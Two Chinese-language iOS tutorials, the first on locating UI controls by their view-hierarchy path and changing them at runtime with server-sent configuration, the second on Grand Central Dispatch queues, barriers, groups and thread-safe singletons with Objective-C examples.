	在当项目很复杂 , 可以其它地方可以直接修改这个控件的状态


	当某个控件命名存在却又没有显示出来 , 可以通过路径来辅助查找


	由服务器下发一些配置 , 使用 Runtime 去动态的修改已上线的项目




下面将介绍如何使用代码来找出这些视图(控件)的路径

分析控件的详细路径

1、找出根 Window :

每一个视图、控件 , 他们最终的根都是main函数返回的 application , 通过 [UIApplication sharedApplication] 可以得到 。 application 的 windows 属性是一个数组 , 这里面装的是这个应用的所有 Window , 我们通常用的是第一个也就是 application.windows[0]

2、遍历视图 :

得到了 window 对象一切都好办了 。 然后拿到 window 的 rootViewController , 在获取 rootViewController 里面所有的 childViewControllers 和 view 里的 subviews , 一直递归下去就可以得到当前屏幕里所有视图对象了 , 同时可以通过 runtime 把它们的 property、delegate 都获取出来。  

结合 Reveal 或者 Xcode 自带的 Captuer View Hiearachy , 我们可以推测一下这两个的的实现原理了 :  

1、根据应用得到根视图    
2、递归获取里面的所有控件   
3、按照他们的层级关系一层一层的画出来

动态修改控件

1、把上面获取到的所有控件的详细信息上传到服务器 。   
2、根据业务需求由服务器给我们下发对应的配置列表，以 button 为例 : 配置列表里必须要有 :

1)、button 的全路径 : 如 UIWindow -> UIWindow -> UIView -> UIView -> UILayoutContainerView -> UITabBar -> UIView —> UIButton    
2)、button 的唯一标识 : 如 tag 值或自己实现的一套算法生成的唯一标识 , 目的是防止与 button 同一层次的视图搞混 。  
3)、 根据路径及唯一标识来匹配 App 里的控件 , 匹配和上面的查找原理是相通的。   
4)、 匹配成功代表  button 确实存在 , 根据业务需求做后续操作 。   
提示: 匹配策略尽可能的多 , 防止意外情况某一两个标识生成失败或者生成相同 。



3、修改 button 的状态。

1)、 如某个按钮点了会 Crash 或暂时不需要被点击 , 但是又要展示出来 , 可以直接修改 button 的 enabled 属性 。   
2)、 如某业务暂时关闭 , 可以直接修改入口 按钮 frame为0 , 前提是要自动布局已做好 。    
3)、 如给购买 按钮 添加监听事件 addTarget: action: forControlEvents:     
target 也可以通过上面 遍历视图 获取到 , action 可以由服务器下发 , 也可以一开始就写死 , 等有需求的时候直接传不同的参数就行了 。



4、 绑定查找控件时 , 这个界面必须要已经初始化完成了才行 , 假如界面还没生成肯定是查找不到这个控件的 。 这里给大家提供两种思路 :

1、使用Runtime Method Swizzing ,  直接把修改控件的方法与 didMoveToSuperview 和 didMoveToWindow 动态绑定 , 等这个控件加载出来之后再去修改 , 查找路径正确的话肯定就能找到了 。   
2、在具体的类里面 , 等控件的初始化方法调用完后 , 再去执行动态修改 , 如在viewDidLoad 里面初始化控件 , 在 viewWillAppear: 里面动态修改 。  
建议使用第一种适用范围更强 。



上架后的 应用 可能会遇到的一些突发状况 , 未测出的Crash、临时改点小需求 , 等等 , 我们总不能每次因为一点小改动就重新提交一次 App Store , 先不说 App Store 的审核时间 , 频繁的让用户去更新应用 , 用户也会烦的 。使用这篇文章所讲的来实现动态更新是再合适不过了 。   

首先上面讲的 动态更新 是完全脱离出来的一个模块 , 跟业务逻辑没有任何关系 , 只需要部署一次就行了 , 等开发下一个项目也可以直接拿过去使用 。这里的动态更新适用于局部的视图、控件的修改 , 如果你有其它需求可以考虑 JSPatch , 下发脚本也是一个不错的选择 。

工具篇

使用一些UI调试的辅助工具 , 使我们查看视图在项目中得层次结构更为方便 。        
常用的UI调试的工具：


	Captuer View Hiearachy


	Reveal




Xcode自带的 Captuer View Hiearachy 实现步骤:


	1、打开Xcode , 运行项目 , 选择最顶部的 Debug


	2、Debug -> View Debugging -> Show View Frames


	3、Debug -> View Debugging -> Captuer View Hiearachy




Xcode里面就变成了三维的视图了 , Xcode左侧展示出来的是层级关系的树状图 。

Reveal的功能相对来说更强大 , 适用于UI调试视图查找 。使用方法请看 Reveal集成指南 。
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什么是 GCD

GCD 存在于一个 名为 libdispatch 的类库中，这个苹果官方的类库提供了在 iOS 和 OS X 多核设备执行并发代码的支持。

GCD 的优势

GCD 可以通过延迟可能需要花费大量时间的任务，并让他们在后台（background）运行，从而提高应用的响应速度。

相对于线程和锁来说，GCD 提供了一个更加易用的模板，从而避免发生并发问题（concurrency bug）。
对于类似单例（singletons）模式，GCD可以用来优化我们的代码。

GCD 相关术语

1. 串行 和 并行 （Serial VS Concurrent）

串行和并行描述的是任务之间如何运行。
串行任务每一次仅执行一个
并行任务可以多个同时执行

2. 同步 和 异步 （Synchronous VS Asynchronous）

同步方法仅会在一个任务完成后返回。
异步方法会立即返回，它会让这个任务执行完成，但不会等待任务完成。因此，异步方法不会阻塞当前线程。

3. Critical Section

指的是不能并发执行的一段代码（不能被两个线程同时访问）。这么做通常是因为一个共享数据（shared resource），例如一个变量，被并发进程访问后，进程之间可能都会对这个变量产生影响，可能会产生数据污染。

4. Race Condition（竞争情形）

当两个（多个）线程同时访问共享的数据时，会发生争用情形。第一个线程读取了一个变量。第二个线程也读取了这个变量的值。然后这两个线程同时操作了该变量，此时他们会发生竞争来看哪个线程会最后写入这个变量。最后被写入的值将会被保留下来。

5. 死锁

两个（多个）线程都要等待对方完成某个操作才能进行下一步，这时会发生死锁。例如，两个线程各自锁定了一个变量，然后他们想要锁定对方锁定的那个变量，这就产生了死锁。

6. 线程安全

一段线程安全的代码（一个线程安全的对象），可以同时被多个线程或并发的任务调用，不会产生问题。非线程安全的只能按次序被访问（调用）。举例来讲，NSDictionary 是线程安全的，NSMutableDictionary 是非线程安全的。

注意：所有的 Mutable 对象都是非线程安全的，所有的 Immutable 对象都是线程安全的。根本原因是，Mutable 对象是可以被修改的，Immutable 对象时不能被修改的。使用 Mutable 对象要注意，一定要用同步锁来同步访问（@synchronized）。

互斥锁的优点：能够防止多线程抢夺造成的数据安全的问题。
缺点：实现互斥锁会消耗大量的资源。

同时，还有原子属性（atomic）也可以实现加锁。


	atomic：原子属性，为 setter 方法加锁


	nonatomic：非原子属性，不会为 setter 加锁




注意：所有属性都声明为 nonatomic, 客户端应尽量避免多线程争夺同一资源。

7. context switch

当一个进程（process）中有多个线程（threads）来回切换时，context switch 用来记录执行状态。这样的进程和一般的多线程进程没有太大差别，但会产生一些额外的开销。

8. 并发 VS 并行（Parallelism）

并行是基于多核设备的，并行 一定是并发，但并发不一定是并行。

9. 队列（Queues）

GCD 提供了 dispatch queue 用来处理代码块，这些队列会管理你提供给GCD 的 tasks 然后按先进先出的顺序执行这些 tasks。

所有的 dispatch queue 都是线程安全的，我们可以使用多个线程同时访问一个 queue。当理解了 dispatch queue 如何为我们的代码提供线程安全，GCD 的优点就很容易理解了。最关键的是要选择正确的 dispatch queue 和 dispatching function 来注册我们的代码块。

10. 串行队列（serial queue）

串行队列中的任务（Tasks in serial queue），每次仅执行一个。执行顺序是，每个任务仅会当上一个正在执行的任务结束后才开始执行。我们无法知道一个任务结束时到下一个任务开始的时间。

这些任务的执行时间是由 GCD 控制的，GCD 能够保证的是，每次仅执行一个任务，这些任务的执行顺序是他们被添加进队列 （queue）的顺序。

11. 并发队列（concurrent queue）

并发队列中的任务会按照我们添加任务的顺序来执行，但不保证完成了一个之后才开始下一个任务。这些任务可能以任何顺序结束，我们也无法知道距下个任务（block）开始需要的时间，也不知道在某个时间段有多少个任务在执行。这些全部交由 GCD 控制。

什么时候开始执行一个任务（block）完全由 GCD 控制。如果两个任务的执行时间有重叠，将有 GCD 来决定是否要将一种一个任务交给另一个空闲状态的核心处理，还是使用一个 context switch 来在两个 block 之间切换执行。

GCD 至少提供了5 种不同的 queues 。

12. 队列类型（queue types）

(1) 首先，系统为我们提供了一个特别的串行队列—— main queue。和其他串行队列一样，main queue 中的任务也是每次仅执行一个。main queue 保证了队列中所有的任务都会在主线程中进行。这个队列就是用来给 UIView 发送消息，或者发送一条通知。
(2) 系统也提供了一些并发队列（concurrent queue），我们成为 Global Dispatch Queues。目前有四种全局队列，他们分别有不同的优先级：background, low, default, high。需要注意的时，苹果的API也会使用这些队列，所以这些队列不会被我们添加的任务独占。
(3) 我们也可以创建自己的自定义串行队列或者并发队列。这意味着失少有五个（种）队列可以由我们使用：main queue, 四种 global dispatch queue, 还有我们自定义的队列。

注意：GCD 的重点在于，我们要选择正确的队列调度功能（queue dispatching function），来把我们的任务提交到队列中。

使用 dispatch_async 处理后台任务

原始代码：

UIImage *overlayImage = [self faceOverlayImageFromImage:_image];
[self fadeInNewImage:overlayImage];


修改为：

dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0), ^{ // 1
    UIImage *overlayImage = [self faceOverlayImageFromImage:_image];
        dispatch_async(dispatch_get_main_queue(), ^{ // 2
            [self fadeInNewImage:overlayImage]; // 3
        });
    });
}



	注释1：首先我们将主线程的任务移到了一个全局队列中。因为这里是 dispatch_async，这意味着这个代码块（block）被异步提交（submitted）。这样就会使得 viewDidload 更快执行完成。面部识别的代码就会稍晚被执行完（面部识别的代码因为由GCD控制，我们无得知到底什么时候能够执行完成）。


	注释2：此时人脸识别所在的 block 已经执行完成，我们生成了一个新的 UIImage。因为我们需要用得到的 UIImage 来更新UIImageView，所以我们在主线程上提交了一个 block。
注意：所有UIKit 相关的操作都应该在主线程上执行。


	注释3：更新 UI




dispatch_async 中不同队列的使用场景


	自定义串联队列（custom serial queue）
   当你希望在后台按顺序执行一些任务，并且追踪这些任务。这种方式消除了资源争夺现象。


	主队列（Main Queue）
   当我们完成了一个并发队列中的某个工作后，需要更新 UI，我们通常使用 main queue。实现main queue 需要将一个 block 写在 另一个 block 中。还有，如果我们已经在主队列（main queue）中，然后还调用 dispatch_async 指向main queue，我们就会得到保证——新的 task 在当前方法完成后一定会被执行。


	并发队列
   通常非UI展示/更新的代码，都用并发队列。




使用 dispatch_after 实现延迟

下面代码的目的是，在viewDidAppear 后，根据情况为用户显示一个提示（为了引起用户的注意，这个提示延迟 1s出现）

-(void)showOrHideNavPrompt
{
    NSUInteger count = [[PhotoManager sharedManager] photos].count;
    double delayInSeconds = 1.0;
    dispatch_time_t popTime = dispatch_time(DISPATCH_TIME_NOW, (int64_t)(delayInSeconds * NSEC_PER_SEC));  
    dispatch_after(popTime, dispatch_get_main_queue(), ^(void){ // 2 
        if (!count) {
            [self.navigationItem setPrompt:@"Add photos with faces to Googlyify them!"];
        } else {
            [self.navigationItem setPrompt:nil];
        }
    });
}



	注释1：我们声明了需要被 delay 的时间。


	注释2：我们在等待了 delay 的这段时间后，异步的将这个block 添加到主线程中。




dispatchafter 其实相当于一个延时的 dispatchasync。同样我们仍然不能控制 block 中执行的时间，当 dispatch_after 已经返回，我们也无法取消执行 block 中的任务。

dispatch_after 的使用场景：


	Custom Serial Queue:  要小心将 dispatch_after 使用在一个 custom serial queue 上。一般还是用在 main queue 上。


	Main queue :通常 dispatchafter 都用在 mainqueue 上


	Concurrent queue : 也要小心使用！




让我们自己的单例实现线程安全（thread-safe）

关于单例，我们通常都会关心——单例不是线程安全的。基于单例的使用情况，这个关心是很合理的：单例的 instance 经常被多个 ViewController 同时访问。

接下来，我们在一个单例（singleton instance）自己制造一个竞争情况（race condition）。

原本代码如下：

+(instancetype)sharedManager   
{
    static PhotoManager *sharedPhotoManager = nil;
    if (!sharedPhotoManager) {
        sharedPhotoManager = [[PhotoManager alloc] init];
        sharedPhotoManager->_photosArray = [NSMutableArray array];
    }
    return sharedPhotoManager;
}


上面的代码非常简单，创建并初始化了一个单例。

需要注意的是，上面的 if 语句不是线程安全的。如果我们多次调用这个方法，有可能某一个线（Thread A）程会在 sharedPhotoManager 初始化之前就进入 if 语句中，并且 switch 在此时也未能出现。然后，另一个线程（Thread B）进入 if 语句，初始化这个单例，然后退出。

当系统 context switch 切换到 Thread A ，我们会再次初始化这个单例，然后退出。这样我们就有了两个单例。这是我们不希望发生的。

我们可以改变上面的代码，迫使这种极端情况发生以便我们观察。

PhotoManager.m 中

+(instancetype)sharedManager 
{
    static PhotoManager *sharedPhotoManager = nil;
    if (!sharedPhotoManager) {
        [NSThread sleepForTimeInterval:2];
        sharedPhotoManager = [[PhotoManager alloc] init];
        NSLog(@"Singleton has memory address at: %@", sharedPhotoManager);
        [NSThread sleepForTimeInterval:2];
        sharedPhotoManager->_photosArray = [NSMutableArray array];
    }
    return sharedPhotoManager;
}


上面的代码中通过 NSThread 的 sleep 方法，强制使 context switch 出现。

AppDelegate.m 中

dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0), ^{
    [PhotoManager sharedManager];
});
 
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0), ^{
    [PhotoManager sharedManager];
});


这里创建了多个异步并发，实例化单例，然后制造了一个 race condition。

我们可以看到输出结果：



可以看到，Log 出三个单例内存地址在这里是不同的。

问题的原因是，初始化PhotoManager 这部分作为一个 critical section，应该仅被执行一次，可实际却被执行了多次。虽然上面的情况是我们强制出现的，但是还是有可能不小心造成这个问题。

注意：刚刚在运行中，三次编译两次都直接 crash，仅仅上面一次log 出上面的结果。这个问题的原因是：系统事件是不受我们控制的。如果出现了线程问题，因为问题难以重现，所以也非常难Debug。

为了纠正这个问题，实例化的代码应该仅被执行一次，因为 if 语句中的代码作为一个 critical section。这里就引出了我们要使用的 dispatch_once。

将上面初始化的代码替换为

+(instancetype)sharedManager
{
    static PhotoManager *sharedPhotoManager = nil;
    static dispatch_once_t onceToken;
    dispatch_once(&onceToken, ^{
        [NSThread sleepForTimeInterval:2];
        sharedPhotoManager = [[PhotoManager alloc] init];
        NSLog(@"Singleton has memory address at: %@", sharedPhotoManager);
        [NSThread sleepForTimeInterval:2];
        sharedPhotoManager->_photosArray = [NSMutableArray array];
    });
    return sharedPhotoManager;
}


可以看到，之前的问题已经没有再出现了。我们把上面的代码调整一下

+(instancetype)sharedManager
{
    static PhotoManager *sharedPhotoManager = nil;
    static dispatch_once_t onceToken;
    dispatch_once(&onceToken, ^{
        sharedPhotoManager = [[PhotoManager alloc] init];
        sharedPhotoManager->_photosArray = [NSMutableArray array];
    });
    return sharedPhotoManager;
}


dispatchonce 在一种线程安全的模式下，执行并且只执行一个 block。在有一个线程已经在这个 critical section，如果有其他线程尝试访问 dispatchonce 中的  section，这些线程会一直被 block 直到 critical section 执行完成。

需要注意的是，这个做法实现了实例的线程安全，并没有实现类的线程安全。如果需要，在类中还需要添加其他的 critical block，例如我们需要操作重要的内部数据的时候。这些我们可以使用其他的方法来实现线程安全，例如 同步一个数据的访问（synchronising access to data），我们在后面会提到。

处理读写问题（Reader and Writer Problem）

实例的线程安全并不仅仅是单例要处理的唯一问题。如果单例属性是一个 mutable 对象，我们就需要考虑这个这个对象是否是线程安全的。关于对象是否是线程安全，我们可以参照苹果提供的一份文档：点击链接
举例来说，NSMutableArray 就不是线程安全的。

虽然很多线程都可以从 NSMutableArray 的实例立即访问，但是当它正在某个线程被访问的时候还让其他线程来访问显然是不安全的。我们并没有防止这种情况的发生。

还是 PhotoManager.m 中

-(void)addPhoto:(Photo *)photo
{
    if (photo) {
        [_photosArray addObject:photo];
        dispatch_async(dispatch_get_main_queue(), ^{
            [self postContentAddedNotification];
        });
    }
}


上面是一个 write 方法，给 photoArray 添加一个对象。

-(NSArray *)photos
{
  return [NSArray arrayWithArray:_photosArray];
}


这里是一个 read 方法。为了防止调用者改变这个数组，它给调用者生成了一个 photoArray 的 immutable 的copy。但我们仍需要注意，当一个线程调用 read 方法时，要防止另一个线程调用 write 方法。这个问题是软件开发的经典问题 Reader-Writer Problem。GCG通过使用 dispatch barriers ，制造了一个 Reader-Writer lock 提供了一个非常好的解决方式。

Dispatch barrier 的作用是，在并发队列中，提供一种类似串行的瓶颈。使用 dispatch barrier 可以确保被提交的 block 在一个特定时间段内被这个 queue 唯一执行。这意味着，所有之前提交到队列中的 block 必须要在 barrier block 执行前执行完成。

当轮到这个特定的block 的时候，这个 barrier 会执行这个 block，并确保这个 queue 在这个block 执行期间不执行其他的 block。一旦完成，这个queue 就会按原来的设定继续执行。GCD 提供了同步和异步两种 barrier 功能。

图大致说明了 barrier 功能的效果。



可以看到队列中的一般操作和普通的并发队列并没有太大区别，但是当执行到barrier block 的时候，这个队列就开始向一个 串行队列了。当这个 barrier block 执行完成之后，这个队列又开始恢复到并发队列。

barrier 的使用场景

Custom serial queue：不要在这里使用 barrier，这已经是一个 serial queue，使用 barrier 毫无意义。
Global Concurrent Queue：在这里要小心使用，因为其他系统操作可能会使用这个队列，所以使用 barrier 将 Global Concurrent Queue 独占存在风险。
Custom Concurrent Queue：放心使用；

如上面所说，因为唯一比较好的 barrier 使用方式是在 custom concurrent Queue 中使用，所以我们需要自己创建一个并发队列来处理 barrier ，以便将 read 和 write 方法独立开来。

在  PhotoManager.m 中，添加一个 dispatch 的 property：

@interface PhotoManager ()
@property (nonatomic,strong,readonly) NSMutableArray *photosArray;
@property (nonatomic, strong) dispatch_queue_t concurrentPhotoQueue; ///< Add this
@end

修改 addPhoto 方法：

-(void)addPhoto:(Photo *)photo
{
    if (photo) { // 1
        dispatch_barrier_async(self.concurrentPhotoQueue, ^{ // 2 
            [_photosArray addObject:photo]; // 3
            dispatch_async(dispatch_get_main_queue(), ^{ // 4
                [self postContentAddedNotification]; 
            });
        });
    }
}



	注释1：检查 photo 是否存在


	注释2：用我们的自定义 queue 添加写操作，当 critical section 在稍后执行的时候，这将是队列中唯一被执行的 task。


	注释3：将对象添加到数组。因为这是一个 barrier block，不会有其他的 block 同时和这个block 在 concurrentPhotoQueue 中运行。


	注释4：最后发送一个通知，广播图片已经添加完成。因为这个通知包含 UI 相关的代码，所以需要从 main thread 中发出，所以在这里我们调度另一个异步任务到主线程，以完成发送通知。




上面的代码处理了写方法，我们还需要实现 photos 的读方法，还有对 concurrentPhotoQueue 实例化。
为了保证写方法那边的线程安全，在读方法这边我们也需要做一些处理。虽然我们需要从 photos 方法获得返回值，但不能异步调度到这个线程，因为它不一定会photo 方法 return之前结束完成。
这种情况，dispatch_sync 就是非常好的选择。

dispatchsync 以同步方式将代码块提交，并且等待 block 完成才返回。我们可以使用 dispatchsync 来追踪 dispatch barrier block，或者当我们需要等待某个操作结束，以得到这个 block 处理后的数据。如果是第二种情况，我们通常会看到一个 _block 变量写在dispatchsync 的外面，以便使用被 dispatch_sync 中的block 处理后的数据。

但是，使用 dispatchsync 的时候还是要相当小心。如果我们吧 dispatchsync 使用在我们当前正在运行的队列上，会导致死锁，因为这个调用会等到 block 结束后执行，但是这个 block 不能结束（因为都不能开始），因为当前的任务也没有结束。所以我们必须要小心我们要从哪个队列调用，也要小心将哪个队列传入。

dispatch_sync 的使用场景


	Custom Serial Queue：一定要非常小心； 如果我们已经在一个队列中运行，然后调用了 dispatch_sync 指向当前这个队列，会造成死锁。


	Main Queue：同样要非常小心；和上面原因一样，要注意死锁。


	Concurrent Queue：一般都放心使用；不管是和 dispatch_barrier 协同使用，还是等待一个任务结束以便下一步处理，都是合理的选择。




还是在 PhotoManager.m 中，修改 photos 读方法

-(NSArray *)photos
{
    __block NSArray *array; // 1
    dispatch_sync(self.concurrentPhotoQueue, ^{ // 2
        array = [NSArray arrayWithArray:_photosArray]; // 3
    });
    return array;
}



	注释1：__block 关键字允许 block 中的对象是 mutable 的。如果没有这个关键字， block 中的 array将会变为只读，代码将会无法编译。


	注释2：同步调度到 concurrentPhotoQueue 来进行读方法。


	注释3：存储 photo 数组并返回。




注意：如果我们希望在一个 block 外面声明一个对象，在 block 内给它赋值，我们就需要在声明的时候加上 __block 关键字，这个关键字允许我们修改 block 内的对象。否则将无法编译。

最后我们需要实例化 concurrentPhotoQueue 属性，修改 sharedManager 方法实例化这个队列：

+(instancetype)sharedManager
{
    static PhotoManager *sharedPhotoManager = nil;
    static dispatch_once_t onceToken;
    dispatch_once(&onceToken, ^{
        sharedPhotoManager = [[PhotoManager alloc] init];
        sharedPhotoManager->_photosArray = [NSMutableArray array];
 
        // ADD THIS:
        sharedPhotoManager->_concurrentPhotoQueue = dispatch_queue_create("com.selander.GooglyPuff.photoQueue",
                                                    DISPATCH_QUEUE_CONCURRENT); 
    }); 
    return sharedPhotoManager;
}


上面的代码使用 dispatchqueuecreate 将concurrentPhotoQueue 初始化为一个并发队列。这一个参数一般写成反 DNS 形式，最好确保有一定意义，以便 Debug。第二个参数指定我们希望队列是串行的还是并发的。
注意：上面的 dispatchqueuecreate 方法中，我们可以看到经常有人传 0 或 NULL 作为第二个参数。但是这种做法是过时的，最好还是说明我们的参数。

现在，PhotoManager 单例已经是线程安全的了。不管我们怎么读写这些图片，我们都可以确保这些都会以相对安全的方式完成。

Dispatch Groups

我们先来看下面的示例代码：

-(void)downloadPhotosWithCompletionBlock:(BatchPhotoDownloadingCompletionBlock)completionBlock
{
    __block NSError *error;
 
    for (NSInteger i = 0; i < 3; i++) {
        NSURL *url;
        switch (i) {
            case 0:
                url = [NSURL URLWithString:kOverlyAttachedGirlfriendURLString];
                break;
            case 1:
                url = [NSURL URLWithString:kSuccessKidURLString];
                break;
            case 2:
                url = [NSURL URLWithString:kLotsOfFacesURLString];
                break;
            default:
                break;
        }
 
        Photo *photo = [[Photo alloc] initwithURL:url
                              withCompletionBlock:^(UIImage *image, NSError *_error) {
                                  if (_error) {
                                      error = _error;
                                  }
                              }];
 
        [[PhotoManager sharedManager] addPhoto:photo];
    }
 
    if (completionBlock) {
        completionBlock(error);
    }
}


在这个方法的末尾，调用了 completionBlock 。实际这样写是有问题的，并不能保证上面的下载图片方法能够立即完成。因为 initwithURL : withCompletionBlock : 这个方法是异步方法，所以下载还没有完成，这个方法就返回了。但是 downloadPhotosWithCompletionBlock 这个方法却以同步的方式，在方法最后调用了 completion block。

正确的做法应该是：downloadPhotosWithCompletionBlock 仅应该在图片下载的异步方法initwithURL : withCompletionBlock :完成并调用了它的 completion block，downloadPhotosWithCompletionBlock 再去调用自己的 completion block。

但是，问题来了——下载图片的方法是异步方法，前文章里我们已经说过，异步任务虽然也是按照提交（submit）的顺序开始的，但是一旦开始执行，我们就无法控制这个任务什么时候被执行完成——这些都由 GCD 来控制。

也许我们会想到使用一些全局的 bool 型变量来记录下载的状态，这种做法不是说不行，但的确是比较笨的办法。
幸运的是 GCD 为我们提供了 dispatch groups，使用 dispatch groups 来监控异步任务的完成情况在合适不过了。

Dispatch groups 会在一组任务完成之后通知我们。这些任务可以是同步的也可以是异步的，甚至这些任务不在同一个队列里也能够被追踪（监控）。当一组任务完成之后，dispatch groups 也可以按同步或异步的方式来通知我们。因为不同队列的任务也可以被追踪，需要有一个 dispatchgroupt 的实例来追踪不同队列中的不同任务。

GCD 提供了两种方式来实现追踪

1. dispatchgroupwait

这个功能用来阻塞当前的线程，一直到这个任务组（group）的所有任务结束，或者直到一个 timeout 出现。dispatch_group_wait是一个同步功能。我们可以将这个功能应用在之前有问题的代码中：

-(void)downloadPhotosWithCompletionBlock:(BatchPhotoDownloadingCompletionBlock)completionBlock
{
    dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0), ^{ // 1
 
        __block NSError *error;
        dispatch_group_t downloadGroup = dispatch_group_create(); // 2
 
        for (NSInteger i = 0; i < 3; i++) {
            NSURL *url;
            switch (i) {
                case 0:
                    url = [NSURL URLWithString:kOverlyAttachedGirlfriendURLString];
                    break;
                case 1:
                    url = [NSURL URLWithString:kSuccessKidURLString];
                    break;
                case 2:
                    url = [NSURL URLWithString:kLotsOfFacesURLString];
                    break;
                default:
                    break;
            }
 
            dispatch_group_enter(downloadGroup); // 3
            Photo *photo = [[Photo alloc] initwithURL:url
                                  withCompletionBlock:^(UIImage *image, NSError *_error) {
                                      if (_error) {
                                          error = _error;
                                      }
                                      dispatch_group_leave(downloadGroup); // 4
                                  }];
 
            [[PhotoManager sharedManager] addPhoto:photo];
        }
        dispatch_group_wait(downloadGroup, DISPATCH_TIME_FOREVER); // 5
        dispatch_async(dispatch_get_main_queue(), ^{ // 6
            if (completionBlock) { // 7
                completionBlock(error);
            }
        });
    });
}



	注释1：因为我们使用了同步功能 dispatchgroupwait，它阻塞了当前的线程。我们将这整段代码都包含在了一个 dispatchasync 当中，就是为了避免这个主线程在这里不被 dispatchgroup_wait 所阻塞。


	注释2：创建一个新的 dispatch group，它的作用有点像一个用来记录未完成的任务的计数器。


	注释3：dispatchgroupenter 用来通知一组任务开始了。在使用中需要注意的是，我们使用了多少个 dispatchgroupenter ,通常就要使用多少个 dispatchgroupleave , 否则可能会造成一些非常奇怪的 bug。


	注释4：通知这一组（group）任务已经完成了。


	注释5：dispatchgroupwait ，开始等待，一直到这组任务全部结束，或者知道任务出现了 timeout。如果发生了 timeout，dispatchgroupwait 会返回一个非零结果。我们可以用这个结果来判断任务是不是超时。但是，如果我们向上面的代码写的一样，使用了 DISPATCHTIMEFOREVER ，这个任务就永远不会超时，dispatchgroupwait 就会一直等待直到任务完成。


	注释6：此时我们就能知道，所有的图片下载任务要么是下载完成了，或者是超时了。然后我们就能回调到主线程，调用 downloadPhotosWithCompletionBlock 这个方法的 completion block。


	注释7：检查 completion block 是否为空，如果不为空，返回。




上面的代码现在看起来效果还不错，但是我们最好还是要避免阻塞线程的操作（同步方式）。接下来我们会重写上面的方法，当下载完成的时候，使用异步通知的方式，使我们能够知道下载结束了。

我们先来了解一下 dispatch group 的使用场景：


	自定义穿行队列（Custom serial queue）：比较适合使用通知形式。


	主队列（Main queue）：可以使用但一定要小心，有可能我们提交的任务会阻塞主线程。


	并发队列（Concurrent queue）：不管是使用通知形式还是 dispatchgroupwait, 都是很好的选择。




接下来我们介绍 dispatch groups 的另一种使用方式

上面的代码的确实现我们需要的效果了，但是我们可以看到，我们必须 dispatch async 到另一个队列然后才能使用 dispatchgroupwait 。我们可以尝试使用另一种方法，修改上面的代码：

-(void)downloadPhotosWithCompletionBlock:(BatchPhotoDownloadingCompletionBlock)completionBlock
{
    // 1
    __block NSError *error;
    dispatch_group_t downloadGroup = dispatch_group_create(); 
 
    for (NSInteger i = 0; i < 3; i++) {
        NSURL *url;
        switch (i) {
            case 0:
                url = [NSURL URLWithString:kOverlyAttachedGirlfriendURLString];
                break;
            case 1:
                url = [NSURL URLWithString:kSuccessKidURLString];
                break;
            case 2:
                url = [NSURL URLWithString:kLotsOfFacesURLString];
                break;
            default:
                break;
        }
 
        dispatch_group_enter(downloadGroup); // 2
        Photo *photo = [[Photo alloc] initwithURL:url
                              withCompletionBlock:^(UIImage *image, NSError *_error) {
                                  if (_error) {
                                      error = _error;
                                  }
                                  dispatch_group_leave(downloadGroup); // 3
                              }];
 
        [[PhotoManager sharedManager] addPhoto:photo];
    }
 
    dispatch_group_notify(downloadGroup, dispatch_get_main_queue(), ^{ // 4
        if (completionBlock) {
            completionBlock(error);
        }
    });
}



	注释1：在这里我们就不用像使用 dispatchgroupwait 时候那样把整个方法都放在 dispatch async 里，因为我们在这里并没有阻塞主线程。


	注释2：和上面一样，表示一个 block 进入了这个group。


	注释3：一个 block 离开了 group。


	注释4：这段代码会在之前的 dispatch group 中全部执行完时执行。之后我们就需要执行 completion block 了，在这里我们要制定我们之后希望在那个队列来执行 completion block，在这里就是 main queue 了。




关于

void dispatch_group_notify ( dispatch_group_t group, dispatch_queue_t queue, dispatch_block_t block );


作用是：当之前提交到 group 的任务（block）完成时，把一个 block 提交到一个队列。

参数1：我们要追踪的 dispatch group
参数2：当 group 完成之后，我们用来提交 block 的队列。
参数3：要被提交的 block。

大量使用并发的风险

我们来看一下上面的代码，方法中有一个 for 循环，用来下载三张不同的图片。我们可以尝试一下能否对这个 for 循环使用并发，加速下载。

在这里我们就可以尝试使用 dispatch_apply。

dispatchapply 的作用有点像一个用来并发执行不同的迭代（iterations）的for 循环。dispatchapply 这个方法是同步的，所以和一般的 for 循环一样，dispatch_apply 只会在执行完成之后才会返回。

需要注意的是，dispatchapply 中的迭代数量也不宜太多，过多的迭代可能会造成每个迭代的碎片时间、消耗累积，影响使用。在这里 dispatchapply 中的迭代总数需要我们在编码过程中尝试、优化。

在哪里使用 dispatch_apply 比较合适呢？

自定义串行队列（Custom serial queue）：不适用，因为 dispatch_apply 是同步方法，还是老老实实使用 for 循环把。

主队列（Main queue）：跟上面一样，同样不适用。
并发队列（Concurrent queue）：适用 dispatch_apply，特别是当我们需要追踪任务完成情况。

我们再次修改上面的代码：

-(void)downloadPhotosWithCompletionBlock:(BatchPhotoDownloadingCompletionBlock)completionBlock
{
    __block NSError *error;
    dispatch_group_t downloadGroup = dispatch_group_create();
 
    dispatch_apply(3, dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0), ^(size_t i) {
 
        NSURL *url;
        switch (i) {
            case 0:
                url = [NSURL URLWithString:kOverlyAttachedGirlfriendURLString];
                break;
            case 1:
                url = [NSURL URLWithString:kSuccessKidURLString];
                break;
            case 2:
                url = [NSURL URLWithString:kLotsOfFacesURLString];
                break;
            default:
                break;
        }
 
        dispatch_group_enter(downloadGroup);
        Photo *photo = [[Photo alloc] initwithURL:url
                              withCompletionBlock:^(UIImage *image, NSError *_error) {
                                  if (_error) {
                                      error = _error;
                                  }
                                  dispatch_group_leave(downloadGroup);
                              }];
 
        [[PhotoManager sharedManager] addPhoto:photo];
    });
 
    dispatch_group_notify(downloadGroup, dispatch_get_main_queue(), ^{
        if (completionBlock) {
            completionBlock(error);
        }
    });
}


修改后，之前的 for 循环就可以并发执行了。在上面的调用 dispatch_apply 时，第一个参数是迭代的数量，第二个参数是真正执行任务的队列，第三个就是要提交的 block。

需要注意的是，我们已经把 add photo 的方法修改为线程安全，但是得到图片的顺序还是不一定的，因为这取决于 dispatch_apply 中哪一个迭代先执行完成。

运行后我们会发现，多次点击从网络加载图片，偶尔下载速度会有一点提升。

但事实上，使用 dispatch_apply 来实现这个效果并不太值得，原因是：


	因为线程并行的原因，多多少少会增加运行开销。


